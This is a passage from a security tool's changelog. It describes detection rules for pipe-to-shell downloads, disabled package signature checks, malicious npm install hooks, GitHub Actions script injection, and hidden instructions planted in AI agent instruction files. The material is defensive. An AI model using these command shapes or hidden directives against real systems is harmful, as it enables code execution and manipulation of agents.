diff is skipped entirely; only when the inventory hash differs does the merge walk by (name, source_config) produce structured drift entries. Moving an unchanged server between config files is a non-event (chunk 1's content_hash deliberately excludes source_config) — drift only fires when the server itself changed. Privacy invariant. Neither verify nor diff — nor the new scan rule — ever prints an env value, a URL userinfo string, or even a hash; only the name of the variable or credential that changed reaches the human output and the JSON envelope. The lockfile already stripped raw values into salted hashes in chunk 1; drift detection observes that the hash changed, never the underlying secret. Drift entries are safe to print to a terminal, serialize as JSON, and commit to an audit log. Like every other mcp subcommand, verify and diff are local file operations — no network, off the tier-1/2/3 detection hot path — and discovery is repo-local only.

  • MCP server inventory and lockfile — tirith mcp lock — the first command of the Agent & MCP governance work. tirith mcp lock discovers every Model Context Protocol (MCP) server a repository declares — across .mcp.json / mcp.json / mcp_settings.json and the IDE config variants under .vscode/, .cursor/, .windsurf/, .cline/, .amazonq/, .continue/, .kiro/ — parses each into a structured inventory (per server: its name, transport — a remote url, or a local command + args + the subprocess env it injects — and declared tools), and writes a deterministic lockfile to .tirith/mcp.lock at the repository root. Both known config-shape variants (mcpServers and the servers alias) are handled; a server object declaring neither a url nor a command is captured with an explicit "unknown transport" rather than dropped. The lockfile carries a top-level format_version (currently 4), a per-server content hash (over name + transport — including a stdio server's env and a URL transport's userinfo_hash — + tools, independent of which config file the server lives in; every variable-length component is length-prefixed so the hash is collision-free), the captured config list, and an inventory_hash over the whole inventory; the lockfile's servers are sorted by (name, source_config) before the inventory hash is computed, so the file and its hash are byte-stable regardless of config-discovery order and a git diff of .tirith/mcp.lock shows exactly what changed in the repo's MCP surface. Env values are never persisted in the lockfile. An env value declared in .mcp.json is commonly a credential (API_TOKEN, GITHUB_PERSONAL_ACCESS_TOKEN, OPENAI_API_KEY, …) and .tirith/mcp.lock is designed to be committed, so each env entry serializes as { name, value_hash } where value_hash is the lowercase-hex SHA-256 of name || ':' || value. The name acts as a per-entry salt so a low-entropy value (1, true) is not brute-forceable across servers, and the raw value is consumed and dropped inside the parser before reaching any struct field or output. Drift detection is unchanged in spirit — a value change still flips value_hash, which still flips the per-server content hash — but a committed mcp.lock no longer carries plaintext secrets. URL userinfo (HTTP Basic Auth) is never persisted either. A URL declared as https://user:token@host:port/path is the symmetric leak class: the lockfile is committed, so the raw user:token would land in version control. The same salted-hash scheme is applied to the URL transport: the URL is stored with userinfo stripped (https://host:port/path), and a userinfo_hash = sha256(server_name || ':' || userinfo) — salted by the MCP server's name — is recorded; it is folded into the per-server content hash so a userinfo swap registers as drift. A URL that carried no userinfo serializes with userinfo_hash omitted (not set to a sentinel), so "no credential" is structurally distinct on the wire from "credential present"; a non-parseable URL is stored verbatim with no hash (we refuse to mangle a string we cannot structurally parse). The mcp lock human summary additionally debug-escapes every env name before printing ("{name:?}", which renders each control byte as a \u{NN} / \n / \r escape rather than the raw byte), so a maliciously-crafted name containing ANSI escapes, newlines, or other terminal control bytes cannot inject control sequences into the operator's terminal; a redacted URL whose source declared credentials prints with a fixed (credentials in source URL) annotation so the redaction is visible without revealing the credential or its hash. This is a local file operation — no network, off the tier-1/2/3 detection hot path — and discovery is repo-local only: user-level configs such as ~/.claude/ are never inventoried, and the guarantee is enforced — a config path that is a symlink, sits under a symlinked directory, or whose canonicalized path escapes the repo root is rejected rather than followed. A malformed configuration file (not valid JSON, or no MCP-server object) contributes no entries and is never an error or a panic — it is reported as "unparseable", and the lockfile reflects only the configs tirith could read. Finding no MCP configuration at all is likewise not an error: it is reported plainly and an empty-but-valid lockfile is still written as a baseline. tirith mcp lock is a new subcommand group; the existing tirith mcp-server (run tirith as an MCP server) is unchanged. --format json reports the captured config / server counts and the full lockfile document. tirith mcp verify / mcp diff (drift detection against a committed lockfile) are planned follow-up work.

  • Package provenance / maintainer-risk scoring — tirith package risk and tirith package explain (offline signals) — tirith can now score a package's supply-chain risk the way tirith score scores a URL: a deterministic, fully explainable sum of named factors — no model, no learned weights, no statistical classifier — every score reproducible by hand. This is the offline-signals phase: every signal is computed without any network or registry-API call. tirith package risk <ecosystem> <name> prints the score and a one-line-per-signal summary; tirith package explain <ecosystem> <name> adds the factor-by-factor derivation (mirroring tirith score --explain); both support --format json. The offline signals: (1) Name vs. popular packages — the dominant factor, sourced from the local threat database's popular set. A name that is a known-popular package scores 0 (recognized); a name one Levenshtein edit from a known-popular package scores high (the classic typosquat/slopsquat shape, via check_popular_distance); an unknown name gets a small baseline only — unknown is not the same as malicious. A new exact-match ThreatDb::is_popular_package accessor backs the "is recognized" check (the existing check_popular_distance deliberately skips exact matches). (2) Known malicious typosquat — additive: the threat DB's typosquat index independently lists this exact name as a malicious typosquat (via check_typosquat) — a confirmed bad name, stronger than a mere resemblance. (3) Install / lifecycle-script presence — additive, and only when the package content is locally available: tirith inspects a package directory you already have (auto-discovered under node_modules / site-packages relative to the cwd, or an explicit --path) — it never downloads the package. For npm it reads package.json for a non-empty preinstall / install / postinstall lifecycle hook; for PyPI it checks for a setup.py. (4) Bundled binary-blob presence — additive, also local-content-only: a bounded directory walk for native/compiled artifacts (.so, .dll, .dylib, .node, .wasm, .jar, …). The final score is min(100, sum), with the clamp reported as an explicit negative factor so the breakdown always sums exactly to the displayed number — a test asserts that invariant across every signal combination. The score is advisory and standalone: package risk is not a detection rule, produces no Verdict, and changes no Action, exit code, or audit log; existing detection and verdicts are untouched. The offline signals are always computed; registry-API-backed provenance signals are an opt-in addition behind --online (see the next entry) and never touch the hot path.

  • Package risk — registry-API-backed provenance signals (tirith package risk --online)package risk / package explain can now optionally consult a package's registry API for provenance / maintainer-risk signals, on top of the always-on offline signals above. This is strictly opt-in and off the hot path: API calls run only behind an explicit --online flag (offline is the default, consistent with tirith's offline-first network policy), --offline / TIRITH_OFFLINE force offline even with --online, and tirith never adds network to tirith check or any other path — package risk --online is the sole entry point. The registry is selected by the <ecosystem> argument: the npm registry API, the PyPI JSON API, and the crates.io API are supported (other ecosystems degrade gracefully). Six registry-API signals, each an explicit named factor in the same deterministic factor-sum model as the offline phase — no ML, no black-box scoring, every factor reproducible by hand: (1) package / version age — a package first published, or a latest version released, very recently (the textbook fresh-typosquat shape; the package-level signal is the larger one and subsumes the smaller version-level one); (2) abandoned ownership — the registry lists an established package with zero maintainers / owners (an account-takeover precursor; a single registry document carries the current owner set, not its history, so a literal transfer cannot be proven from it — an established package that has lost every listed owner is the shape that can be); (3) version spike — the latest version is an abnormal major-version jump from the previous one (a hijacked release often ships an inflated version to capture a semver range); (4) download counts — very low downloads over the registry's reported window (near-zero adoption is a weak signal); (5) repo / source-URL mismatch — the registry lists no usable source-repository URL (provenance cannot be traced to reviewable source); (6) yanked / deprecated status — the registry itself marks the latest version yanked or deprecated. Network hygiene: the registry HTTP client uses reqwest with an explicit timeout and a response-size cap, exactly as runner.rs / selfupdate.rs do. Graceful degradation: a network failure, timeout, HTTP error, unparseable response, or unsupported ecosystem is never a crash, hang, or block — it degrades to the offline score with an honest api signals: unavailable (reason). Successful registry responses are cached on disk with a TTL (under the tirith state dir) so repeated package risk runs do not hammer the registries. The package_risk::ApiSignals seam now carries three states — not_computed (offline run, the default), available (an --online run that reached the registry), and unavailable (an --online run that degraded) — and --format json exposes the gathered provenance under api_signals. Offline scoring is unchanged: the API signals only add factors, every offline-phase test still passes, and the score stays advisory and standalone (no Verdict, no exit-code or audit-log change).

  • Install-command coverage — package-manager and infrastructure install patterns — tirith now detects high-risk patterns in package-manager and infrastructure install commands (apt/dnf/yum/zypper/pacman, brew, kubectl, helm, terraform), focusing on the dangerous pattern rather than the tool so a legitimate apt install foo, brew install foo, kubectl apply -f ./local.yaml, terraform init, or helm install ./chart stays clean. Seven new rules: (1) repo_add_from_pipe (High) — a network download piped through tee into an apt sources.list file, or redirected straight into one, so the repo definition is added and its signing key trusted without any review; a local file piped into tee does not fire. (2) unsigned_repo_trust (High) — an apt sources entry marked [trusted=yes] (tolerant of [arch=amd64 trusted=yes]), or apt-get run with --allow-unauthenticated / --allow-insecure-repositories — all disable GPG signature verification. (3) gpg_check_disabled (High) — dnf/yum/zypper run with --nogpgcheck, an inline gpgcheck=0 repo setting, or pacman SigLevel = Never. (4) kubectl_apply_remotekubectl apply/create/replace -f given a remote URL (High for a raw-content blob like raw.githubusercontent.com or a URL-shortener that hides the source, Medium for any other remote URL); a local file or -k kustomize directory does not fire. (5) helm_untrusted_repo (Medium) — helm install/upgrade/repo add/pull pointed at a chart-repository host not in the recognized set; a local chart path does not fire. (6) terraform_remote_module (Medium) — terraform init -from-module (or tofu) sourcing a root module from a remote git/http(s)/code-hosting location rather than a local path or the Terraform Registry. (7) brew_untrusted_tapbrew install given a raw URL instead of a formula name (High), or brew tap pointed at an explicit non-GitHub git remote (Medium). All rules see through a single leading sudo / doas wrapper (and its value-taking flags) and tolerate shell quoting. Detection is pure pattern matching — no registry or network calls on the hot path. Each rule has full tirith explain documentation, a tier-1 PATTERN_TABLE entry, and golden fixtures covering both the attack shape and the benign baseline.

  • tirith ecosystem scan — project dependency-manifest supply-chain scan — the directory-level companion to tirith package risk: tirith ecosystem scan [path] walks a project, discovers and parses dependency manifests (npm package.json / package-lock.json, Python requirements*.txt / pyproject.toml, Rust Cargo.toml, Go go.mod, Ruby Gemfile), and scores every declared dependency through the package_risk engine — offline by default, --online adds the registry-API provenance signals. It also folds in slopsquat detection — AI-hallucinated package names: a conservative three-layer heuristic (the name is unknown to the threat DB, and shaped like an LLM hallucination, and sits near a real popular name) flags dependencies an attacker may have registered to catch a hallucinated import. Findings flow through the normal Verdict / Finding model, are explainable, respect the policy allowlist, and support --format json; slopsquat is integrated here, not shipped as a separate crate. Manifest parsers are total — a malformed manifest yields no findings, never a panic.

  • tirith install — safe-install transactiontirith install <npm|pip|cargo|url> <args…> wraps a real package install with pre-execution supply-chain risk analysis: it scores the package(s) with the package_risk engine and the install command with the install-command rules before anything runs, presents one explainable Verdict (a block refuses with bypass-per-policy, a warn requires acknowledgement, an allow proceeds), records the transaction (a working-directory checkpoint plus an audit-log entry), then runs the real npm / pip / cargo install — or, for the url form, the downloaded script via the existing safe-download path. --no-exec analyzes and records without running the install; --online adds registry-API provenance, --offline / TIRITH_OFFLINE force offline; --format json carries an explicit sandboxed: false. This is pre-execution install-risk analysis plus a recorded transaction — it does not sandbox or isolate the install (runtime sandboxing is an explicit tirith non-goal); the real install runs with the user's full privileges.

  • CI / repo supply-chain scanning — tirith scan covers your CI and infrastructure filestirith scan now inspects the files a repository checks in to describe its own build and deploy pipeline, not just AI-config files. It detects the dangerous pattern, not the tool, so a hardened workflow, a digest-pinned image, a local Terraform module, and a normal package.json all stay clean — every detection ships with benign fixtures proving a legitimate file does not fire. Six new file-content scan rules, run on the tirith scan file-walk path (no network, no registry calls): (1) workflow_unpinned_action (Medium) — a GitHub Actions uses: reference in .github/workflows/*.yml pinned to a mutable ref (a branch like @main or a tag like @v3) instead of an immutable 40-character commit SHA; a SHA-pinned action and a local ./ action do not fire, and a workflow with many unpinned steps yields one folded finding. (2) workflow_dangerous_trigger (High) — the pull_request_target trigger, which runs with repository secrets and a read/write token in the context of an untrusted fork's PR; the safe pull_request trigger does not fire. (3) workflow_curl_pipe_shell (High) — a curl … | bash / wget … | sh pipe-to-shell inside a workflow run: step (single-line or | block scalar); a curl -o file download or a benign echo | grep does not fire. (4) workflow_untrusted_input (High) — an attacker-controllable ${{ github.event.* }} expression (PR title, issue body, branch name, comment, …) interpolated directly into a run: shell step — the classic Actions script-injection sink; a trusted context value (github.sha) and the same expression in a non-run: with: block do not fire. (5) dockerfile_unpinned_image (Medium) — a Dockerfile FROM on the mutable latest tag or with no tag at all and no @sha256: digest pin; a digest-pinned image, a specific version tag, an earlier-build-stage reference, and a build-arg-templated image do not fire. (6) package_script_dangerous (High) — an npm package.json preinstall/install/postinstall/prepare lifecycle hook (the hooks that run automatically on npm install) whose command is a pipe-to-shell, a base64-decode-and-execute payload, an inline interpreter one-liner that shells out or opens a network connection, or a download-and-run sequence; a benign node-gyp rebuild / tsc build hook, and a benign prepare hook such as husky install, do not fire. Terraform module blocks with a remote/untrusted source in a *.tf file and Helm chart dependencies from an untrusted repository in Chart.yaml are also detected — these reuse the existing terraform_remote_module / helm_untrusted_repo rule IDs, since a remote module or untrusted chart repo is the same risk class whether named on a command line or in a checked-in file. Each new rule has full tirith explain documentation. tirith scan also gains three built-in --profile values that tune which checks and severities apply: ci-hardening (every supply-chain check at full strength, fail-on high, for hardening a CI/CD pipeline), ai-agent-repo (keeps the injection / dangerous-trigger / dangerous-script findings, suppresses low-value pinning-hygiene noise, for a repo an AI agent operates in), and oss-maintainer (emphasises contributor-controllable attack surface — script injection, dangerous triggers, dangerous lifecycle scripts — and downgrades pinning-hygiene findings, for reviewing a contributed change). A built-in profile sets a default fail_on and a small explicit per-rule overlay that can suppress or re-grade a finding but never invent one; a policy scan.profiles.<name> entry of the same name overrides the built-in. tirith scan --format json exposes the new findings unchanged.

  • AI-relevant file hidden-content scanning — tirith scan catches content smuggled past a human reviewertirith scan now inspects file types an AI coding agent (or a renderer) reads and acts on, looking specifically for hidden / smuggled content — content a human reviewing the file would not see, but an agent or a renderer still processes. It extends the existing FileScan architecture (the same module pattern as the CI/repo cifile rules) with a new aifile rule module; false positives are the explicit design priority, so a normal notebook, an ordinary CLAUDE.md with visible instructions, and a plain SVG image all stay clean — every detection ships with benign fixtures proving a legitimate file does not fire. No network, no registry calls. Five new file-content scan rules across three file kinds: (1) notebook_hidden_content — a Jupyter notebook (*.ipynb) cell with content hidden from the rendered view: invisible / bidirectional / zero-width characters in the cell source (High), a long base64-encoded blob embedded in the source (Medium), or a cell hidden via metadata.jupyter.source_hidden or a hide_input tag (Medium). (2) notebook_suspicious_output — a stored cell output carrying smuggled content: invisible characters in a saved stream / text/plain output (High), or an embedded <script>, an inline event handler, a javascript: URI, or CSS-hidden content in a saved text/html output (Medium). A normal computed output — a number, a pandas DataFrame HTML <table>, a plain-text result — does not fire. (3) agent_instruction_hidden (High) — an AI agent-instruction file (CLAUDE.md, AGENTS.md, .cursorrules, and similar) with a hidden directive: an instruction inside an HTML comment (Markdown renders an HTML comment to nothing) or a visually-hidden HTML element (hidden, aria-hidden, display:none). These files legitimately contain visible instructions, so ordinary visible instructions — and benign developer comments (<!-- TODO -->, prettier-ignore) — never fire; only hidden directives with an instruction-shaped phrase do. (4) svg_script_embedded (High) — an SVG image (*.svg) carrying executable content: an embedded <script> element, an inline on* event-handler attribute, or a javascript: URI; a static SVG image (paths, shapes, gradients, text) does not fire. (5) svg_external_reference (Medium) — an SVG that references content outside itself: a remote xlink:href / href, or an XXE external-entity declaration (<!ENTITY … SYSTEM "…">); an internal xlink:href="#id" fragment reference does not fire. .svg is no longer treated as a binary/skip extension by the directory walk — an SVG is XML text and is now scanned. Invisible-character detection reuses tirith's existing bidi / zero-width / Unicode-tag classification rather than reimplementing it. Each new rule has full tirith explain documentation and golden fixtures covering both the attack shape and the benign baseline; the four golden_fixtures.rs tier-1 safeguard tests pass. tirith scan --format json exposes the new findings unchanged. DOCX / PPTX / ODT are deliberately out of scope (their ZIP/XML parser complexity is deferred).

  • Verify-self and safe self-update — tirith verify-self, tirith update, tirith version --provenance — tirith can now verify its own integrity and update itself, conservatively and honestly. (1) tirith verify-self checks that the running binary is the genuine, unmodified binary from an official release: it re-downloads the release archive for the running version and target, verifies that archive against the release checksums.txt, verifies the cosign keyless signature over checksums.txt when cosign is installed (the release pipeline produces checksums.txt.sig + checksums.txt.pem — a Sigstore signature with identity github.com/sheeki03/tirith), then extracts the binary from the verified archive and confirms it is byte-identical to the running binary. The verdict is one of verified-signed (checksum and signature verified), verified-checksum-only (checksum verified; cosign not installed so the signature was not checked), unverified (could not verify — a local dev build, offline, an unknown install, an unpublished platform — reported honestly, never a false "verified", and not treated as a failure: exit 0), or failed (verification ran and the binary did not match — exit 1). (2) tirith update is package-manager-aware. It detects how tirith was installed and, for a package-manager install (Homebrew, cargo, npm, Scoop, AUR, apt/dnf), never self-modifies the managed binary — it prints the exact command to run instead (e.g. brew upgrade tirith). For a self-managed install (the install.sh tarball or a standalone binary) it resolves the latest release, downloads it, verifies it (a checksum mismatch always aborts; --verify additionally requires a verified cosign signature), then atomically swaps the binary in place — download to a temp file in the binary's own directory, set the executable bit, then a single atomic rename, so tirith is never left half-installed — and keeps the previous binary as a <name>.tirith-previous sidecar. tirith update --rollback restores that previous binary (self-managed installs only). --dry-run shows what would happen and changes nothing. (3) tirith version --provenance shows the running binary's version, build profile, target triple, detected install method, SHA-256, and an offline verification status. All three commands support --format json, and all reach the network only when explicitly invoked — there is no new hot-path network. An honest design constraint: tirith has no in-process Sigstore implementation, so cosign signature verification is done by shelling out to the cosign binary exactly as install.sh does; without cosign the integrity check still succeeds via the signed checksums.txt but is reported as verified-checksum-only, not verified-signed.

  • Trust / allowlist UX — narrow by default, expiring by default, and transparenttirith trust no longer makes it easy to grant a broad, permanent allow by accident. (1) Narrow-trust-by-default: trust add classifies the pattern's scope — exact (a specific URL or path), substring, domain (a whole host and every subdomain), wildcard (*.host), or bare-TLD (com, dev) — and a broad pattern (domain / wildcard / bare-TLD) is now refused unless the caller passes an explicit --broad; an exact URL or path is still accepted as-is. The error tells the user to trust the narrowest thing that works, and a bare TLD gets an extra "this allows EVERY host under .com" warning. (2) Default TTLs: a trust add with neither --ttl nor the new --permanent flag now gets a 30-day TTL, so stale trust expires on its own; --permanent is the explicit opt-out and is mutually exclusive with --ttl. (3) Scope visualization: trust list shows each entry's scope class in a new SCOPE column, marks a dangerously broad entry (wildcard / bare-TLD) with a !, and renders TTLs as a friendly (in 6d) / permanent; --format json carries scope_kind, scope_coverage, and broad_warning per row. (4) tirith trust explain <pattern> — explains a single entry: its scope and what it covers, the rule it is scoped to (or "global"), when it was added, the free-text reason it was added (a new optional --reason flag on trust add, recorded in trust.json), and when it expires; for a pattern that is not trusted it explains what scope it would get. (5) tirith trust diff — shows what changed in the trust set (entries added / removed) since the previous observation; trust list and trust diff opportunistically record a small, bounded snapshot of the trust set into ~/.local/state/tirith/trust-history.jsonl so a diff trail accrues over time. (6) tirith trust gc --expired — the expired-entry garbage collector now takes an explicit --expired flag and supports --format json. All of this is backward-compatible: the trust.json schema only gains an optional reason field, an existing trust store written by an older tirith loads unchanged, and an entry with no TTL — every pre-existing entry and every --permanent entry — is treated as permanent and is never expired or garbage-collected. The engine's hot-path trust loader is untouched and still reads old and new stores alike.

  • Remediation — "what to run instead" — a tirith finding no longer only says a command is dangerous, it tells you how to make it safe. (1) Every RuleId has a per-rule remediation string exposed through rule_explanations::remediation(RuleId) and surfaced in human and JSON output. (2) tirith explain --rule <id> --fix prints that remediation. (3) tirith check --suggest-safe-command emits an executable command only for supported pipe-to-shell shapes on x86_64 Linux, with the current Tirith binary fixed at a root-managed system path, and only after the exact candidate re-analyzes to approval-free Allow under the original policy/session/origin/context snapshot. The typed tirith run --capsule --script-stdin --interpreter <shell> invocation literal-decodes and round-trips the URL, preserves the selected shell and supported argv, ignores a conflicting remote shebang, feeds reviewed hash-verified bytes over stdin, and fails closed on unavailable capsule coverage. Dynamic or malformed URLs, decoded controls, Cmd, ambiguous pipelines, unsupported downloader/interpreter arguments, TLS-flag removal, and HTTP-to-HTTPS changes remain guidance-only. The flag is advisory and changes neither verdict nor exit code; JSON carries the result under safe_suggestions.

  • Threat-DB transparency — tirith threat-db explain | sources | health | diff — four additive read-only subcommands so a user can understand and trust the local threat database. They never download, never write the DB, and never change existing update/status behavior; all support --format json. threat-db explain <indicator> looks up a domain, package (name, ecosystem:name, or name@version), or IPv4 address and reports whether the DB knows it, the matching classification (malicious package / typosquat / popular-lookalike / malicious hostname / malicious IP), the flagging source, and confidence — and says so plainly when the indicator is absent, with the caveat that absence is not a safety guarantee. threat-db sources lists every threat-intelligence feed the DB is built from, grouped into primary (the signed CI database) and supplemental (the optional user-local overlay), with the upstream project URL and live per-source record counts walked from the loaded DB. threat-db health reports install state, Ed25519 signature validity, age and staleness against the configured auto_update_hours refresh interval, per-category entry counts, supplemental-overlay presence, and any load error, with a one-word status (ok / stale / not_installed / error). threat-db diff --since <version-or-date> summarizes what changed since a DB build sequence or ISO date. The DB binary format retains no per-entry history, so diff honestly reports category and per-source count deltas between snapshots — not the exact entries added or removed — and states that limitation prominently; the transparency commands opportunistically record a small, bounded snapshot of the current DB (version, build time, counts) into ~/.local/state/tirith/threatdb-history.jsonl so a usable diff trail accrues over time. The canonical CLI spelling is threat-db; threatdb continues to work as an alias.

  • Scoring calibration — tirith score --explain and tirith policy tune --from-audit — the risk score is now fully explainable, and tirith can read your audit log back to you as conservative policy advice. tirith's scoring stays deterministic and inspectable: there is no model, no learned weights, no statistical classifier — every score is a fixed sum of named factors, reproducible by hand. (1) tirith score <url> --explain prints the exact factor-by-factor derivation of the score: a base-severity factor (the single highest-severity finding sets the floor — Critical 90 / High 70 / Medium 40 / Low 15), an additional-findings factor (+5 for each finding past the first), and — when it applies — a threat-intel corroboration factor (+5 when a local threat-DB rule fired alongside other findings, an unambiguous external confirmation). Each factor shows its point contribution, a running total, and a plain-language reason; the factors sum exactly to the displayed score, and a test asserts that invariant for a wide input range. The breakdown is opt-in: without --explain the score JSON is byte-compatible with before, and with it a score_breakdown object is added. The base and additional-findings factors reproduce the historical score formula exactly, so no pre-existing score changed; the threat-intel factor is the only new term and is purely additive — it never fires on its own and never changes a verdict, exit code, or audit log (score is an inspection command, not an enforcement path). (2) tirith policy tune --from-audit analyzes the local JSONL audit log and suggests — never applies — concrete, conservative policy adjustments. The headline suggestion: a rule that fired often and was allowed or bypassed every time, and was never blocked, is flagged as a candidate for an allowlist entry or a severity override, with a copy-pasteable (and deliberately incomplete — the user picks the target severity) severity_overrides snippet. A rule the user sometimes blocks on is never suggested for a downgrade — it is doing its job. It also reports, purely informationally, rules that never fired, but only when that list is short enough to be useful. Every suggestion is a fixed rule over plain counts — an arithmetic fact about the log, not an inference — and when the log is too small to be meaningful (policy tune needs a minimum number of records) it says so plainly rather than guessing. policy tune never edits the policy: the user reviews each suggestion and applies it by hand. Both commands support --format json.

  • tirith policy init --template <name> — three curated starter policies for tirith policy init. individual is sensible defaults for a single developer (fail-open, paranoia 1, the noisy shortened_url rule escalated). ci-strict is locked down for automated CI — fail_mode: closed, the TIRITH=0 bypass disabled for both interactive and non-interactive shells, strict_warn: true, the common remote-execution rules escalated to CRITICAL, and a scan.fail_on: high threshold so tirith scan fails the build. ai-agent-heavy is tuned for environments where AI agents run many commands — fail-open so an internal error cannot wedge an agent mid-task, but paranoia: 3, the non-interactive bypass disabled (an agent must not be able to skip analysis), approval_rules requiring human approval for the highest-risk pipe-to-shell rules, and escalation rules that block on repeated warnings. Each template writes a well-commented YAML file; every key is verified against the real policy schema, so tirith policy validate passes on each. tirith policy init with no --template is unchanged (still the full default template); --template and --minimal are mutually exclusive, and an unknown template name fails fast and lists the valid names. The fintech and windows-enterprise templates are intentionally deferred.

  • Android / Termux install support — Termux runs on Bionic libc and cannot execute the glibc Linux build, so the aarch64-unknown-linux-musl artifact (a statically linked binary) is now documented as the supported Termux build, with step-by-step install instructions in the README. The release workflow gained a CI smoke check for that artifact: after the cross-build it verifies the binary is fully static (no dynamic-linker INTERP segment) and, under QEMU aarch64 user-mode emulation, confirms tirith --version runs and a known-bad pipe-to-shell command is still blocked. Continuous verification on a real Android device is not yet in CI and is tracked as a follow-up.

  • Visible degraded-protection indicator — when a shell hook downgrades protection (most commonly bash enter mode falling back to preexec warn-only), the downgrade is now surfaced three ways, deliberately without being naggy. (1) The bash hook emits a single consolidated one-shot message per session — tirith: protection downgraded to warn-only (does not block) — run 'tirith doctor' for details — replacing the several differently-worded degrade messages it printed before. (2) The tirith shell hooks expose a new TIRITH_STATUS shell variable — one of blocks / warn-only / degraded / off — reflecting the live protection level; degraded specifically means a mid-session downgrade from a stronger level, distinct from a shell that simply started in warn-only. A user who wants a prompt indicator can reference $TIRITH_STATUS in their PS1 / fish_prompt / PowerShell prompt; tirith itself adds no per-prompt output. It is a plain non-exported shell variable (bash/zsh global, fish set -g, PowerShell $global:): the prompt runs in the interactive shell and reads it fine, while a non-interactive child — which has no tirith protection — never inherits a misleading status. It is never set in a non-interactive shell at all (conformance invariant g). nushell has no session variable that is both prompt-readable and not child-inherited, so the nushell hook does not set TIRITH_STATUS. (3) tirith doctor now prints an explicit protection: line and, when the status is degraded, an unmistakable callout — no longer something the reader must infer from effective protection: warn-only. tirith doctor --compat gained a matching protection status: line. New docs page docs/prompt-status.md shows ready-to-paste prompt snippets for bash, zsh, fish, PowerShell, and Starship.

  • tirith doctor --bundle (aliases --redacted-report, --shell-trace) — writes a single redacted diagnostic bundle to a file (path printed; under ~/.local/state/tirith/) that is safe to attach to a bug report. The bundle contains doctor info, tirith + hook versions, shell / mode / effective protection, hook-chain state, policy discovery, threat-DB status, and a curated slice of the environment. Redaction is layered: the environment section emits only a curated allowlist of tirith-relevant variable names (so unrelated cloud credentials / API keys are never candidates), every emitted value is still scrubbed if it looks like a token/secret, and the literal home-directory path is masked to ~ so absolute paths do not reveal the account username. --bundle supports --format json (emits {"bundle_path": "..."}) and is mutually exclusive with --fix, --simulate-enter, --reset-bash-safe-mode, and --compat.

  • tirith check --offline / TIRITH_OFFLINE — an opt-in switch that suppresses all network activity on the hot path. tirith check normally triggers a periodic background threat-DB refresh before analysis; with --offline (or TIRITH_OFFLINE=1 in the environment) that refresh is a guaranteed no-op, so check analyzes purely locally with zero network attempts. paste, score, diff, and why are already local-only. This is a mechanism only — the default (online) behavior is unchanged. The env-var form lets shell hooks and the PTY conformance harness pin offline behavior deterministically.

  • tirith doctor --compat — a focused shell/terminal compatibility report (human, plus --format json). It surfaces the detected shell, requested-vs-effective bash mode and protection (from the hook-exported TIRITH_BASH_EFFECTIVE_* vars), the enter-mode capability verdict, install checks (binary PATH shadowing, shell-profile wiring, materialized-hook staleness, policy discovery, threat-DB status), and best-effort detection of co-installed shell tools that historically interact with hooks (Atuin, Starship, fzf, zoxide, direnv, mise, asdf) via presence on PATH and/or in the shell profile. --compat is mutually exclusive with --fix, --simulate-enter, and --reset-bash-safe-mode. It is a static report and does not run the enter-mode self-test — --simulate-enter remains the way to (re)measure that.

  • tirith doctor --simulate-enter — runs the bash enter-mode delivery self-test on demand: spawns a disposable bash through a PTY, sources the real hook in enter mode, verifies an allowed command is delivered exactly once and a blocked command is stopped, prints the verdict, and caches it. tirith doctor shows the cached verdict on a new enter capability: line.

Fixed

  • Bash preexec function / PROMPT_COMMAND degradation (#176) — enforced preexec no longer leaves extdebug enabled across the session, where modern Bash inherited the DEBUG trap into function bodies and prompt commands and misclassified them as new typed lines. The hook now brackets existing scalar or array PROMPT_COMMAND entries, preserves their order and $?, captures/chains a caller-owned DEBUG trap at the first top-level prompt, scans each trustworthy top-level history line once, and enables Tirith-owned extdebug only for a blocking decision before restoring it at the next prompt. Nested, startup, and prompt execution create no duplicate receipts. Unsafe prompt/DEBUG ownership or user-owned extdebug leaves interception visibly off without clobbering user state; lost bracketing downgrades visibly, and post-downgrade fragment warnings do not claim trusted execution receipts.
  • #136: pipe_to_interpreter no longer flags a benign python -c data pipeline (json.load(sys.stdin)) as downloaded-code execution; stdin-as-code and fetch sources still block.
  • #126 / #134: confusable-text false positives on ordinary CJK text and Cyrillic local paths.
  • #123: silent rule-panic swallowing during file scans (now surfaced; fails closed under --ci).
  • #122: resolve_shortened_url returns None past the redirect limit instead of a partial result.
  • #135: "enter mode failed (bash)" root-caused with working escape hatches (TIRITH_BASH_MODE=enter, tirith doctor --reset-bash-safe-mode, --simulate-enter).
  • #140: daily threat-DB releases no longer break @latest resolution (one rolling prerelease).
  • Security-audit remediation (#137): repo-scoped policy can only tighten (never weaken); SSRF egress guard on run / fetch --save / command-card fetch; audit-log and fetch hardening.
  • Bash enter mode silently ate the typed command (#111)bind -x on Enter runs the bound function but, in many bash/readline builds, does not then accept the line, so PROMPT_COMMAND never fires and the command tirith deferred into _TIRITH_PENDING_EVAL is never delivered. Because whether bind -x accepts the line is a capability of the bash build rather than a version number, tirith now proves it: tirith setup and tirith doctor run a disposable-PTY self-test (cli::bash_capability) that checks enter-mode delivery and blocking, and write a key=value capability cache (<state-dir>/bash-enter-capability). Cache freshness is keyed on the bash identity — $BASH_VERSION and the bash binary path — because bind -x line-acceptance is a property of that specific bash/readline build; the cache schema number is the cross-tirith-version invalidator (a probe or format change bumps it), and the recorded tirith_version is diagnostic only. The bash hook reads that cache at startup — a single small-file read, so tirith init stays untouched and fast — and selects enter mode only when delivery is proven for the running bash, otherwise falling back to the safe default, preexec. An explicit TIRITH_BASH_MODE=enter still forces enter mode (the startup health gate and runtime self-healing degrade visibly if delivery then fails). New PTY conformance tests cover the capability-gated allowed/blocked contract, and bash_preexec_enforce.rs covers the cache reader against HISTCONTROL / HISTIGNORE / set +o history / pre-set IFS / pre-enabled extdebug.
  • tirith doctor reported policies: (none found) for a policy created by tirith policy init (#112)doctor now resolves the active policy through the same local discovery the engine uses — TIRITH_POLICY_ROOT, walk-up from the cwd to the .git boundary, then the user config dir — via a new shared discover_local_policy_path resolver. tirith policy validate resolves through it too, so it now locates and reports on a present-but-corrupt policy instead of reporting "no policy file found"; and doctor --fix gained an existence guard so it never overwrites an existing policy file. Previously doctor only checked the user config dir and TIRITH_POLICY_ROOT, never walking up from the cwd.
